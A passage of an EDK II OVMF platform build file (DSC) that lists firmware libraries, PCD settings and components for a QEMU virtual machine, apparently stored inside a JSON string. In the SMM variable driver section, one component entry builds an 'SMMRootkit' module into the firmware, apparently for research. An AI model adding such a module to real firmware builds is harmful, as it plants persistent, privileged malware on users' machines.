CpuExceptionHandlerLib|UefiCpuPkg/Library/CpuExceptionHandlerLib/SmmCpuExceptionHandlerLib.inf\r\n!ifdef $(SOURCE_DEBUG_ENABLE)\r\n  DebugAgentLib|SourceLevelDebugPkg/Library/DebugAgent/SmmDebugAgentLib.inf\r\n!endif\r\n  BaseCryptLib|CryptoPkg/Library/BaseCryptLib/SmmCryptLib.inf\r\n  PciLib|OvmfPkg/Library/DxePciLibI440FxQ35/DxePciLibI440FxQ35.inf\r\n\r\n[LibraryClasses.common.SMM_CORE]\r\n  PcdLib|MdePkg/Library/DxePcdLib/DxePcdLib.inf\r\n  TimerLib|OvmfPkg/Library/AcpiTimerLib/DxeAcpiTimerLib.inf\r\n  SmmCorePlatformHookLib|MdeModulePkg/Library/SmmCorePlatformHookLibNull/SmmCorePlatformHookLibNull.inf\r\n  MemoryAllocationLib|MdeModulePkg/Library/PiSmmCoreMemoryAllocationLib/PiSmmCoreMemoryAllocationLib.inf\r\n  ReportStatusCodeLib|MdeModulePkg/Library/DxeReportStatusCodeLib/DxeReportStatusCodeLib.inf\r\n  HobLib|MdePkg/Library/DxeHobLib/DxeHobLib.inf\r\n  SmmMemLib|MdePkg/Library/SmmMemLib/SmmMemLib.inf\r\n  SmmServicesTableLib|MdeModulePkg/Library/PiSmmCoreSmmServicesTableLib/PiSmmCoreSmmServicesTableLib.inf\r\n!ifdef $(DEBUG_ON_SERIAL_PORT)\r\n  DebugLib|MdePkg/Library/BaseDebugLibSerialPort/BaseDebugLibSerialPort.inf\r\n!else\r\n  DebugLib|OvmfPkg/Library/PlatformDebugLibIoPort/PlatformDebugLibIoPort.inf\r\n!endif\r\n  PciLib|OvmfPkg/Library/DxePciLibI440FxQ35/DxePciLibI440FxQ35.inf\r\n\r\n################################################################################\r\n#\r\n# Pcd Section - list of all EDK II PCD Entries defined by this Platform.\r\n#\r\n################################################################################\r\n[PcdsFeatureFlag]\r\n  gEfiMdeModulePkgTokenSpaceGuid.PcdHiiOsRuntimeSupport|FALSE\r\n  gEfiMdeModulePkgTokenSpaceGuid.PcdStatusCodeUseSerial|FALSE\r\n  gEfiMdeModulePkgTokenSpaceGuid.PcdStatusCodeUseMemory|TRUE\r\n  gEfiMdeModulePkgTokenSpaceGuid.PcdDxeIplSupportUefiDecompress|FALSE\r\n  gEfiMdeModulePkgTokenSpaceGuid.PcdDxeIplSwitchToLongMode|FALSE\r\n  gEfiMdeModulePkgTokenSpaceGuid.PcdConOutGopSupport|TRUE\r\n  gEfiMdeModulePkgTokenSpaceGuid.PcdConOutUgaSupport|FALSE\r\n  gEfiMdeModulePkgTokenSpaceGuid.PcdInstallAcpiSdtProtocol|TRUE\r\n!if $(SMM_REQUIRE) == TRUE\r\n  gUefiOvmfPkgTokenSpaceGuid.PcdSmmSmramRequire|TRUE\r\n  gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmEnableBspElection|FALSE\r\n!endif\r\n\r\n[PcdsFixedAtBuild]\r\n  gEfiMdeModulePkgTokenSpaceGuid.PcdStatusCodeMemorySize|1\r\n  gEfiMdeModulePkgTokenSpaceGuid.PcdResetOnMemoryTypeInformationChange|FALSE\r\n  gEfiMdePkgTokenSpaceGuid.PcdMaximumGuidedExtractHandler|0x10\r\n  gEfiMdeModulePkgTokenSpaceGuid.PcdPeiCoreMaxFvSupported|6\r\n  gEfiMdeModulePkgTokenSpaceGuid.PcdPeiCoreMaxPeimPerFv|32\r\n!if ($(FD_SIZE_IN_KB) == 1024) || ($(FD_SIZE_IN_KB) == 2048)\r\n  gEfiMdeModulePkgTokenSpaceGuid.PcdMaxVariableSize|0x2000\r\n  gEfiMdeModulePkgTokenSpaceGuid.PcdMaxAuthVariableSize|0x2800\r\n  gEfiMdeModulePkgTokenSpaceGuid.PcdVariableStoreSize|0xe000\r\n!endif\r\n!if $(FD_SIZE_IN_KB) == 4096\r\n  gEfiMdeModulePkgTokenSpaceGuid.PcdMaxVariableSize|0x8400\r\n  gEfiMdeModulePkgTokenSpaceGuid.PcdMaxAuthVariableSize|0x8400\r\n  gEfiMdeModulePkgTokenSpaceGuid.PcdVariableStoreSize|0x40000\r\n!endif\r\n\r\n  gEfiMdeModulePkgTokenSpaceGuid.PcdVpdBaseAddress|0x0\r\n\r\n  gEfiMdePkgTokenSpaceGuid.PcdReportStatusCodePropertyMask|0x07\r\n\r\n  # DEBUG_INIT      0x00000001  // Initialization\r\n  # DEBUG_WARN      0x00000002  // Warnings\r\n  # DEBUG_LOAD      0x00000004  // Load events\r\n  # DEBUG_FS        0x00000008  // EFI File system\r\n  # DEBUG_POOL      0x00000010  // Alloc & Free (pool)\r\n  # DEBUG_PAGE      0x00000020  // Alloc & Free (page)\r\n  # DEBUG_INFO      0x00000040  // Informational debug messages\r\n  # DEBUG_DISPATCH  0x00000080  // PEI/DXE/SMM Dispatchers\r\n  # DEBUG_VARIABLE  0x00000100  // Variable\r\n  # DEBUG_BM        0x00000400  // Boot Manager\r\n  # DEBUG_BLKIO     0x00001000  // BlkIo Driver\r\n  # DEBUG_NET       0x00004000  // SNP Driver\r\n  # DEBUG_UNDI      0x00010000  // UNDI Driver\r\n  # DEBUG_LOADFILE  0x00020000  // LoadFile\r\n  # DEBUG_EVENT     0x00080000  // Event messages\r\n  # DEBUG_GCD       0x00100000  // Global Coherency Database changes\r\n  # DEBUG_CACHE     0x00200000  // Memory range cachability changes\r\n  # DEBUG_VERBOSE   0x00400000  // Detailed debug messages that may\r\n  #                             // significantly impact boot performance\r\n  # DEBUG_ERROR     0x80000000  // Error\r\n  gEfiMdePkgTokenSpaceGuid.PcdDebugPrintErrorLevel|0x8000004F\r\n\r\n!ifdef $(SOURCE_DEBUG_ENABLE)\r\n  gEfiMdePkgTokenSpaceGuid.PcdDebugPropertyMask|0x17\r\n!else\r\n  gEfiMdePkgTokenSpaceGuid.PcdDebugPropertyMask|0x2F\r\n!endif\r\n\r\n  # This PCD is used to set the base address of the PCI express hierarchy. It\r\n  # is only consulted when OVMF runs on Q35. In that case it is programmed into\r\n  # the PCIEXBAR register.\r\n  #\r\n  # On Q35 machine types that QEMU intends to support in the long term, QEMU\r\n  # never lets the RAM below 4 GB exceed 2 GB.\r\n  gEfiMdePkgTokenSpaceGuid.PcdPciExpressBaseAddress|0x80000000\r\n\r\n!ifdef $(SOURCE_DEBUG_ENABLE)\r\n  gEfiSourceLevelDebugPkgTokenSpaceGuid.PcdDebugLoadImageMethod|0x2\r\n!endif\r\n\r\n!if $(HTTP_BOOT_ENABLE) == TRUE\r\n  gEfiNetworkPkgTokenSpaceGuid.PcdAllowHttpConnections|TRUE\r\n!endif\r\n\r\n!ifndef $(USE_OLD_SHELL)\r\n  gEfiIntelFrameworkModulePkgTokenSpaceGuid.PcdShellFile|{ 0x83, 0xA5, 0x04, 0x7C, 0x3E, 0x9E, 0x1C, 0x4F, 0xAD, 0x65, 0xE0, 0x52, 0x68, 0xD0, 0xB4, 0xD1 }\r\n!endif\r\n\r\n!if $(SMM_REQUIRE) == TRUE\r\n  gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmStackSize|0x4000\r\n!endif\r\n\r\n  # IRQs 5, 9, 10, 11 are level-triggered\r\n  gPcAtChipsetPkgTokenSpaceGuid.Pcd8259LegacyModeEdgeLevel|0x0E20\r\n\r\n  # Point to the MdeModulePkg/Application/UiApp/UiApp.inf\r\n  gEfiMdeModulePkgTokenSpaceGuid.PcdBootManagerMenuFile|{ 0x21, 0xaa, 0x2c, 0x46, 0x14, 0x76, 0x03, 0x45, 0x83, 0x6e, 0x8a, 0xb6, 0xf4, 0x66, 0x23, 0x31 }\r\n\r\n################################################################################\r\n#\r\n# Pcd Dynamic Section - list of all EDK II PCD Entries defined by this Platform\r\n#\r\n################################################################################\r\n\r\n[PcdsDynamicDefault]\r\n  # only set when\r\n  #   ($(SMM_REQUIRE) == FALSE)\r\n  gEfiMdeModulePkgTokenSpaceGuid.PcdEmuVariableNvStoreReserved|0\r\n\r\n  gEfiMdeModulePkgTokenSpaceGuid.PcdFlashNvStorageVariableBase64|0\r\n  gEfiMdeModulePkgTokenSpaceGuid.PcdFlashNvStorageFtwWorkingBase|0\r\n  gEfiMdeModulePkgTokenSpaceGuid.PcdFlashNvStorageFtwSpareBase|0\r\n  gEfiMdeModulePkgTokenSpaceGuid.PcdPciDisableBusEnumeration|FALSE\r\n  gEfiMdeModulePkgTokenSpaceGuid.PcdVideoHorizontalResolution|800\r\n  gEfiMdeModulePkgTokenSpaceGuid.PcdVideoVerticalResolution|600\r\n  gEfiMdeModulePkgTokenSpaceGuid.PcdAcpiS3Enable|FALSE\r\n  gUefiOvmfPkgTokenSpaceGuid.PcdOvmfHostBridgePciDevId|0\r\n  gUefiOvmfPkgTokenSpaceGuid.PcdPciIoBase|0x0\r\n  gUefiOvmfPkgTokenSpaceGuid.PcdPciIoSize|0x0\r\n  gUefiOvmfPkgTokenSpaceGuid.PcdPciMmio32Base|0x0\r\n  gUefiOvmfPkgTokenSpaceGuid.PcdPciMmio32Size|0x0\r\n  gUefiOvmfPkgTokenSpaceGuid.PcdPciMmio64Base|0x0\r\n  gUefiOvmfPkgTokenSpaceGuid.PcdPciMmio64Size|0x800000000\r\n\r\n  gEfiMdePkgTokenSpaceGuid.PcdPlatformBootTimeOut|0\r\n\r\n  # Set video resolution for text setup.\r\n  gEfiMdeModulePkgTokenSpaceGuid.PcdSetupVideoHorizontalResolution|640\r\n  gEfiMdeModulePkgTokenSpaceGuid.PcdSetupVideoVerticalResolution|480\r\n\r\n  gEfiMdeModulePkgTokenSpaceGuid.PcdSmbiosVersion|0x0208\r\n  gEfiMdeModulePkgTokenSpaceGuid.PcdSmbiosDocRev|0x0\r\n  gUefiOvmfPkgTokenSpaceGuid.PcdQemuSmbiosValidated|FALSE\r\n\r\n  # Noexec settings for DXE.\r\n  gEfiMdeModulePkgTokenSpaceGuid.PcdSetNxForStack|FALSE\r\n  gEfiMdeModulePkgTokenSpaceGuid.PcdPropertiesTableEnable|FALSE\r\n\r\n  # UefiCpuPkg PCDs related to initial AP bringup and general AP management.\r\n  gUefiCpuPkgTokenSpaceGuid.PcdCpuMaxLogicalProcessorNumber|64\r\n  gUefiCpuPkgTokenSpaceGuid.PcdCpuApInitTimeOutInMicroSeconds|50000\r\n\r\n  # Set memory encryption mask\r\n  gEfiMdeModulePkgTokenSpaceGuid.PcdPteMemoryEncryptionAddressOrMask|0x0\r\n\r\n!if $(SMM_REQUIRE) == TRUE\r\n  gUefiOvmfPkgTokenSpaceGuid.PcdQ35TsegMbytes|8\r\n  gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmSyncMode|0x01\r\n  gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmApSyncTimeout|100000\r\n!endif\r\n\r\n  gEfiSecurityPkgTokenSpaceGuid.PcdOptionRomImageVerificationPolicy|0x00\r\n\r\n################################################################################\r\n#\r\n# Components Section - list of all EDK II Modules needed by this Platform.\r\n#\r\n################################################################################\r\n[Components]\r\n  OvmfPkg/ResetVector/ResetVector.inf\r\n\r\n  #\r\n  # SEC Phase modules\r\n  #\r\n  OvmfPkg/Sec/SecMain.inf {\r\n    <LibraryClasses>\r\n      NULL|MdeModulePkg/Library/LzmaCustomDecompressLib/LzmaCustomDecompressLib.inf\r\n  }\r\n\r\n  #\r\n  # PEI Phase modules\r\n  #\r\n  MdeModulePkg/Core/Pei/PeiMain.inf\r\n  MdeModulePkg/Universal/PCD/Pei/Pcd.inf  {\r\n    <LibraryClasses>\r\n      PcdLib|MdePkg/Library/BasePcdLibNull/BasePcdLibNull.inf\r\n  }\r\n  MdeModulePkg/Universal/ReportStatusCodeRouter/Pei/ReportStatusCodeRouterPei.inf {\r\n    <LibraryClasses>\r\n      PcdLib|MdePkg/Library/BasePcdLibNull/BasePcdLibNull.inf\r\n  }\r\n  MdeModulePkg/Universal/StatusCodeHandler/Pei/StatusCodeHandlerPei.inf {\r\n    <LibraryClasses>\r\n      PcdLib|MdePkg/Library/BasePcdLibNull/BasePcdLibNull.inf\r\n  }\r\n  MdeModulePkg/Core/DxeIplPeim/DxeIpl.inf\r\n\r\n  OvmfPkg/PlatformPei/PlatformPei.inf\r\n  UefiCpuPkg/Universal/Acpi/S3Resume2Pei/S3Resume2Pei.inf {\r\n    <LibraryClasses>\r\n!if $(SMM_REQUIRE) == TRUE\r\n      LockBoxLib|MdeModulePkg/Library/SmmLockBoxLib/SmmLockBoxPeiLib.inf\r\n!endif\r\n  }\r\n!if $(SMM_REQUIRE) == TRUE\r\n  OvmfPkg/SmmAccess/SmmAccessPei.inf\r\n!endif\r\n  UefiCpuPkg/CpuMpPei/CpuMpPei.inf\r\n\r\n  #\r\n  # DXE Phase modules\r\n  #\r\n  MdeModulePkg/Core/Dxe/DxeMain.inf {\r\n    <LibraryClasses>\r\n      NULL|MdeModulePkg/Library/LzmaCustomDecompressLib/LzmaCustomDecompressLib.inf\r\n      DevicePathLib|MdePkg/Library/UefiDevicePathLib/UefiDevicePathLib.inf\r\n  }\r\n\r\n  MdeModulePkg/Universal/ReportStatusCodeRouter/RuntimeDxe/ReportStatusCodeRouterRuntimeDxe.inf\r\n  MdeModulePkg/Universal/StatusCodeHandler/RuntimeDxe/StatusCodeHandlerRuntimeDxe.inf\r\n  MdeModulePkg/Universal/PCD/Dxe/Pcd.inf  {\r\n   <LibraryClasses>\r\n      PcdLib|MdePkg/Library/BasePcdLibNull/BasePcdLibNull.inf\r\n  }\r\n\r\n  MdeModulePkg/Core/RuntimeDxe/RuntimeDxe.inf\r\n\r\n!if $(SECURE_BOOT_ENABLE) == TRUE\r\n  MdeModulePkg/Universal/SecurityStubDxe/SecurityStubDxe.inf {\r\n    <LibraryClasses>\r\n      NULL|SecurityPkg/Library/DxeImageVerificationLib/DxeImageVerificationLib.inf\r\n  }\r\n!else\r\n  MdeModulePkg/Universal/SecurityStubDxe/SecurityStubDxe.inf\r\n!endif\r\n\r\n  MdeModulePkg/Universal/EbcDxe/EbcDxe.inf\r\n  PcAtChipsetPkg/8259InterruptControllerDxe/8259.inf\r\n  UefiCpuPkg/CpuIo2Dxe/CpuIo2Dxe.inf\r\n  UefiCpuPkg/CpuDxe/CpuDxe.inf\r\n  PcAtChipsetPkg/8254TimerDxe/8254Timer.inf\r\n  OvmfPkg/IncompatiblePciDeviceSupportDxe/IncompatiblePciDeviceSupport.inf\r\n  OvmfPkg/PciHotPlugInitDxe/PciHotPlugInit.inf\r\n  MdeModulePkg/Bus/Pci/PciHostBridgeDxe/PciHostBridgeDxe.inf {\r\n    <LibraryClasses>\r\n      PciHostBridgeLib|OvmfPkg/Library/PciHostBridgeLib/PciHostBridgeLib.inf\r\n      NULL|OvmfPkg/Library/PlatformHasIoMmuLib/PlatformHasIoMmuLib.inf\r\n  }\r\n  MdeModulePkg/Bus/Pci/PciBusDxe/PciBusDxe.inf {\r\n    <LibraryClasses>\r\n      PcdLib|MdePkg/Library/DxePcdLib/DxePcdLib.inf\r\n  }\r\n  MdeModulePkg/Universal/ResetSystemRuntimeDxe/ResetSystemRuntimeDxe.inf\r\n  MdeModulePkg/Universal/Metronome/Metronome.inf\r\n  PcAtChipsetPkg/PcatRealTimeClockRuntimeDxe/PcatRealTimeClockRuntimeDxe.inf\r\n  MdeModulePkg/Universal/DriverHealthManagerDxe/DriverHealthManagerDxe.inf\r\n  MdeModulePkg/Universal/BdsDxe/BdsDxe.inf {\r\n    <LibraryClasses>\r\n!ifdef $(CSM_ENABLE)\r\n      NULL|OvmfPkg/Csm/CsmSupportLib/CsmSupportLib.inf\r\n      NULL|IntelFrameworkModulePkg/Library/LegacyBootManagerLib/LegacyBootManagerLib.inf\r\n!endif\r\n  }\r\n  MdeModulePkg/Logo/LogoDxe.inf\r\n  MdeModulePkg/Application/UiApp/UiApp.inf {\r\n    <LibraryClasses>\r\n      NULL|MdeModulePkg/Library/DeviceManagerUiLib/DeviceManagerUiLib.inf\r\n      NULL|MdeModulePkg/Library/BootManagerUiLib/BootManagerUiLib.inf\r\n      NULL|MdeModulePkg/Library/BootMaintenanceManagerUiLib/BootMaintenanceManagerUiLib.inf\r\n!ifdef $(CSM_ENABLE)\r\n      NULL|IntelFrameworkModulePkg/Library/LegacyBootManagerLib/LegacyBootManagerLib.inf\r\n      NULL|IntelFrameworkModulePkg/Library/LegacyBootMaintUiLib/LegacyBootMaintUiLib.inf\r\n!endif\r\n  }\r\n  OvmfPkg/BlockMmioToBlockIoDxe/BlockIo.inf\r\n  OvmfPkg/VirtioPciDeviceDxe/VirtioPciDeviceDxe.inf\r\n  OvmfPkg/Virtio10Dxe/Virtio10.inf\r\n  OvmfPkg/VirtioBlkDxe/VirtioBlk.inf\r\n  OvmfPkg/VirtioScsiDxe/VirtioScsi.inf\r\n  OvmfPkg/VirtioRngDxe/VirtioRng.inf\r\n  OvmfPkg/XenIoPciDxe/XenIoPciDxe.inf\r\n  OvmfPkg/XenBusDxe/XenBusDxe.inf\r\n  OvmfPkg/XenPvBlkDxe/XenPvBlkDxe.inf\r\n  MdeModulePkg/Universal/WatchdogTimerDxe/WatchdogTimer.inf\r\n  MdeModulePkg/Universal/MonotonicCounterRuntimeDxe/MonotonicCounterRuntimeDxe.inf\r\n  MdeModulePkg/Universal/CapsuleRuntimeDxe/CapsuleRuntimeDxe.inf\r\n  MdeModulePkg/Universal/Console/ConPlatformDxe/ConPlatformDxe.inf\r\n  MdeModulePkg/Universal/Console/ConSplitterDxe/ConSplitterDxe.inf\r\n  MdeModulePkg/Universal/Console/GraphicsConsoleDxe/GraphicsConsoleDxe.inf {\r\n    <LibraryClasses>\r\n      PcdLib|MdePkg/Library/DxePcdLib/DxePcdLib.inf\r\n  }\r\n  MdeModulePkg/Universal/Console/TerminalDxe/TerminalDxe.inf\r\n  MdeModulePkg/Universal/DevicePathDxe/DevicePathDxe.inf {\r\n    <LibraryClasses>\r\n      DevicePathLib|MdePkg/Library/UefiDevicePathLib/UefiDevicePathLib.inf\r\n      PcdLib|MdePkg/Library/BasePcdLibNull/BasePcdLibNull.inf\r\n  }\r\n  MdeModulePkg/Universal/PrintDxe/PrintDxe.inf\r\n  MdeModulePkg/Universal/Disk/DiskIoDxe/DiskIoDxe.inf\r\n  MdeModulePkg/Universal/Disk/PartitionDxe/PartitionDxe.inf\r\n  MdeModulePkg/Universal/Disk/RamDiskDxe/RamDiskDxe.inf\r\n  MdeModulePkg/Universal/Disk/UnicodeCollation/EnglishDxe/EnglishDxe.inf\r\n  FatPkg/EnhancedFatDxe/Fat.inf\r\n  MdeModulePkg/Bus/Scsi/ScsiBusDxe/ScsiBusDxe.inf\r\n  MdeModulePkg/Bus/Scsi/ScsiDiskDxe/ScsiDiskDxe.inf\r\n  OvmfPkg/SataControllerDxe/SataControllerDxe.inf\r\n  MdeModulePkg/Bus/Ata/AtaAtapiPassThru/AtaAtapiPassThru.inf\r\n  MdeModulePkg/Bus/Ata/AtaBusDxe/AtaBusDxe.inf\r\n  MdeModulePkg/Bus/Pci/NvmExpressDxe/NvmExpressDxe.inf\r\n  MdeModulePkg/Universal/HiiDatabaseDxe/HiiDatabaseDxe.inf\r\n  MdeModulePkg/Universal/SetupBrowserDxe/SetupBrowserDxe.inf\r\n  MdeModulePkg/Universal/DisplayEngineDxe/DisplayEngineDxe.inf\r\n  MdeModulePkg/Universal/MemoryTest/NullMemoryTestDxe/NullMemoryTestDxe.inf\r\n\r\n  OvmfPkg/QemuVideoDxe/QemuVideoDxe.inf\r\n  OvmfPkg/VirtioGpuDxe/VirtioGpu.inf\r\n\r\n  #\r\n  # ISA Support\r\n  #\r\n  PcAtChipsetPkg/IsaAcpiDxe/IsaAcpi.inf\r\n  IntelFrameworkModulePkg/Bus/Isa/IsaBusDxe/IsaBusDxe.inf\r\n  IntelFrameworkModulePkg/Bus/Isa/IsaSerialDxe/IsaSerialDxe.inf\r\n  IntelFrameworkModulePkg/Bus/Isa/Ps2KeyboardDxe/Ps2keyboardDxe.inf\r\n  IntelFrameworkModulePkg/Bus/Isa/IsaFloppyDxe/IsaFloppyDxe.inf\r\n\r\n  #\r\n  # SMBIOS Support\r\n  #\r\n  MdeModulePkg/Universal/SmbiosDxe/SmbiosDxe.inf {\r\n    <LibraryClasses>\r\n      NULL|OvmfPkg/Library/SmbiosVersionLib/DetectSmbiosVersionLib.inf\r\n  }\r\n  OvmfPkg/SmbiosPlatformDxe/SmbiosPlatformDxe.inf\r\n\r\n  #\r\n  # ACPI Support\r\n  #\r\n  MdeModulePkg/Universal/Acpi/AcpiTableDxe/AcpiTableDxe.inf\r\n  OvmfPkg/AcpiPlatformDxe/AcpiPlatformDxe.inf\r\n  OvmfPkg/AcpiTables/AcpiTables.inf\r\n  MdeModulePkg/Universal/Acpi/S3SaveStateDxe/S3SaveStateDxe.inf\r\n  MdeModulePkg/Universal/Acpi/BootScriptExecutorDxe/BootScriptExecutorDxe.inf\r\n  MdeModulePkg/Universal/Acpi/BootGraphicsResourceTableDxe/BootGraphicsResourceTableDxe.inf\r\n\r\n  #\r\n  # Network Support\r\n  #\r\n  MdeModulePkg/Universal/Network/SnpDxe/SnpDxe.inf\r\n  MdeModulePkg/Universal/Network/DpcDxe/DpcDxe.inf\r\n  MdeModulePkg/Universal/Network/MnpDxe/MnpDxe.inf\r\n  MdeModulePkg/Universal/Network/VlanConfigDxe/VlanConfigDxe.inf\r\n  MdeModulePkg/Universal/Network/ArpDxe/ArpDxe.inf\r\n  MdeModulePkg/Universal/Network/Dhcp4Dxe/Dhcp4Dxe.inf\r\n  MdeModulePkg/Universal/Network/Ip4Dxe/Ip4Dxe.inf\r\n  MdeModulePkg/Universal/Network/Mtftp4Dxe/Mtftp4Dxe.inf\r\n  MdeModulePkg/Universal/Network/Udp4Dxe/Udp4Dxe.inf\r\n!if $(NETWORK_IP6_ENABLE) == TRUE\r\n  NetworkPkg/Ip6Dxe/Ip6Dxe.inf\r\n  NetworkPkg/TcpDxe/TcpDxe.inf\r\n  NetworkPkg/Udp6Dxe/Udp6Dxe.inf\r\n  NetworkPkg/Dhcp6Dxe/Dhcp6Dxe.inf\r\n  NetworkPkg/Mtftp6Dxe/Mtftp6Dxe.inf\r\n  NetworkPkg/UefiPxeBcDxe/UefiPxeBcDxe.inf\r\n  NetworkPkg/IScsiDxe/IScsiDxe.inf\r\n!else\r\n  MdeModulePkg/Universal/Network/Tcp4Dxe/Tcp4Dxe.inf\r\n  MdeModulePkg/Universal/Network/UefiPxeBcDxe/UefiPxeBcDxe.inf\r\n  MdeModulePkg/Universal/Network/IScsiDxe/IScsiDxe.inf\r\n!endif\r\n!if $(HTTP_BOOT_ENABLE) == TRUE\r\n  NetworkPkg/DnsDxe/DnsDxe.inf\r\n  NetworkPkg/HttpUtilitiesDxe/HttpUtilitiesDxe.inf\r\n  NetworkPkg/HttpDxe/HttpDxe.inf\r\n  NetworkPkg/HttpBootDxe/HttpBootDxe.inf\r\n!endif\r\n!if $(TLS_ENABLE) == TRUE\r\n  NetworkPkg/TlsDxe/TlsDxe.inf\r\n  NetworkPkg/TlsAuthConfigDxe/TlsAuthConfigDxe.inf\r\n!endif\r\n  OvmfPkg/VirtioNetDxe/VirtioNet.inf\r\n\r\n  #\r\n  # Usb Support\r\n  #\r\n  MdeModulePkg/Bus/Pci/UhciDxe/UhciDxe.inf\r\n  MdeModulePkg/Bus/Pci/EhciDxe/EhciDxe.inf\r\n  MdeModulePkg/Bus/Pci/XhciDxe/XhciDxe.inf\r\n  MdeModulePkg/Bus/Usb/UsbBusDxe/UsbBusDxe.inf\r\n  MdeModulePkg/Bus/Usb/UsbKbDxe/UsbKbDxe.inf\r\n  MdeModulePkg/Bus/Usb/UsbMassStorageDxe/UsbMassStorageDxe.inf\r\n\r\n!ifdef $(CSM_ENABLE)\r\n  IntelFrameworkModulePkg/Csm/BiosThunk/VideoDxe/VideoDxe.inf {\r\n    <LibraryClasses>\r\n      PcdLib|MdePkg/Library/DxePcdLib/DxePcdLib.inf\r\n  }\r\n  IntelFrameworkModulePkg/Csm/LegacyBiosDxe/LegacyBiosDxe.inf\r\n  OvmfPkg/Csm/Csm16/Csm16.inf\r\n!endif\r\n\r\n!ifndef $(USE_OLD_SHELL)\r\n  ShellPkg/DynamicCommand/TftpDynamicCommand/TftpDynamicCommand.inf {\r\n    <PcdsFixedAtBuild>\r\n      gEfiShellPkgTokenSpaceGuid.PcdShellLibAutoInitialize|FALSE\r\n  }\r\n  ShellPkg/Application/Shell/Shell.inf {\r\n    <LibraryClasses>\r\n      ShellCommandLib|ShellPkg/Library/UefiShellCommandLib/UefiShellCommandLib.inf\r\n      NULL|ShellPkg/Library/UefiShellLevel2CommandsLib/UefiShellLevel2CommandsLib.inf\r\n      NULL|ShellPkg/Library/UefiShellLevel1CommandsLib/UefiShellLevel1CommandsLib.inf\r\n      NULL|ShellPkg/Library/UefiShellLevel3CommandsLib/UefiShellLevel3CommandsLib.inf\r\n      NULL|ShellPkg/Library/UefiShellDriver1CommandsLib/UefiShellDriver1CommandsLib.inf\r\n      NULL|ShellPkg/Library/UefiShellDebug1CommandsLib/UefiShellDebug1CommandsLib.inf\r\n      NULL|ShellPkg/Library/UefiShellInstall1CommandsLib/UefiShellInstall1CommandsLib.inf\r\n      NULL|ShellPkg/Library/UefiShellNetwork1CommandsLib/UefiShellNetwork1CommandsLib.inf\r\n!if $(NETWORK_IP6_ENABLE) == TRUE\r\n      NULL|ShellPkg/Library/UefiShellNetwork2CommandsLib/UefiShellNetwork2CommandsLib.inf\r\n!endif\r\n      HandleParsingLib|ShellPkg/Library/UefiHandleParsingLib/UefiHandleParsingLib.inf\r\n      PrintLib|MdePkg/Library/BasePrintLib/BasePrintLib.inf\r\n#      SafeBlockIoLib|ShellPkg/Library/SafeBlockIoLib/SafeBlockIoLib.inf\r\n#      SafeOpenProtocolLib|ShellPkg/Library/SafeOpenProtocolLib/SafeOpenProtocolLib.inf\r\n      BcfgCommandLib|ShellPkg/Library/UefiShellBcfgCommandLib/UefiShellBcfgCommandLib.inf\r\n\r\n    <PcdsFixedAtBuild>\r\n      gEfiMdePkgTokenSpaceGuid.PcdDebugPropertyMask|0xFF\r\n      gEfiShellPkgTokenSpaceGuid.PcdShellLibAutoInitialize|FALSE\r\n      gEfiMdePkgTokenSpaceGuid.PcdUefiLibMaxPrintBufferSize|8000\r\n  }\r\n!endif\r\n\r\n!if $(SECURE_BOOT_ENABLE) == TRUE\r\n  SecurityPkg/VariableAuthenticated/SecureBootConfigDxe/SecureBootConfigDxe.inf\r\n!endif\r\n\r\n  OvmfPkg/PlatformDxe/Platform.inf\r\n  OvmfPkg/AmdSevDxe/AmdSevDxe.inf\r\n  OvmfPkg/IoMmuDxe/IoMmuDxe.inf\r\n\r\n!if $(SMM_REQUIRE) == TRUE\r\n  OvmfPkg/SmmAccess/SmmAccess2Dxe.inf\r\n  OvmfPkg/SmmControl2Dxe/SmmControl2Dxe.inf\r\n  UefiCpuPkg/CpuS3DataDxe/CpuS3DataDxe.inf\r\n\r\n  #\r\n  # SMM Initial Program Load (a DXE_RUNTIME_DRIVER)\r\n  #\r\n  MdeModulePkg/Core/PiSmmCore/PiSmmIpl.inf\r\n\r\n  #\r\n  # SMM_CORE\r\n  #\r\n  MdeModulePkg/Core/PiSmmCore/PiSmmCore.inf\r\n\r\n  #\r\n  # Privileged drivers (DXE_SMM_DRIVER modules)\r\n  #\r\n  UefiCpuPkg/CpuIo2Smm/CpuIo2Smm.inf\r\n  MdeModulePkg/Universal/LockBox/SmmLockBox/SmmLockBox.inf {\r\n    <LibraryClasses>\r\n      LockBoxLib|MdeModulePkg/Library/SmmLockBoxLib/SmmLockBoxSmmLib.inf\r\n  }\r\n  UefiCpuPkg/PiSmmCpuDxeSmm/PiSmmCpuDxeSmm.inf {\r\n    <LibraryClasses>\r\n      SmmCpuPlatformHookLib|UefiCpuPkg/Library/SmmCpuPlatformHookLibNull/SmmCpuPlatformHookLibNull.inf\r\n      SmmCpuFeaturesLib|OvmfPkg/Library/SmmCpuFeaturesLib/SmmCpuFeaturesLib.inf\r\n  }\r\n\r\n  #\r\n  # Variable driver stack (SMM)\r\n  #\r\n  OvmfPkg/QemuFlashFvbServicesRuntimeDxe/FvbServicesSmm.inf\r\n  MdeModulePkg/Universal/FaultTolerantWriteDxe/FaultTolerantWriteSmm.inf\r\n  MdeModulePkg/Universal/Variable/RuntimeDxe/VariableSmm.inf {\r\n    <LibraryClasses>\r\n      NULL|MdeModulePkg/Library/VarCheckUefiLib/VarCheckUefiLib.inf\r\n  }\r\n  MdeModulePkg/Universal/Variable/RuntimeDxe/VariableSmmRuntimeDxe.inf\r\n  SMMRootkit/SMMRootkit.inf {\r\n    <LibraryClasses>\r\n      DebugLib|OvmfPkg/Library/PlatformDebugLibIoPort/PlatformDebugLibIoPort.inf\r\n      MemoryAllocationLib|MdePkg/Library/UefiMemoryAllocationLib/UefiMemoryAllocationLib.inf\r\n  }\r\n\r\n!else\r\n\r\n  #\r\n  # Variable driver stack (non-SMM)\r\n  #\r\n  OvmfPkg/QemuFlashFvbServicesRuntimeDxe/FvbServicesRuntimeDxe.inf\r\n  OvmfPkg/EmuVariableFvbRuntimeDxe/Fvb.inf {\r\n    <LibraryClasses>\r\n      PlatformFvbLib|OvmfPkg/Library/EmuVariableFvbLib/EmuVariableFvbLib.inf\r\n  }\r\n  MdeModulePkg/Universal/FaultTolerantWriteDxe/FaultTolerantWriteDxe.inf\r\n  MdeModulePkg/Universal/Variable/RuntimeDxe/VariableRuntimeDxe.inf {\r\n    <LibraryClasses>\r\n      NULL|MdeModulePkg/Library/VarCheckUefiLib/VarCheckUefiLib.inf\r\n  }\r\n!endif\r\n"
  },
  {
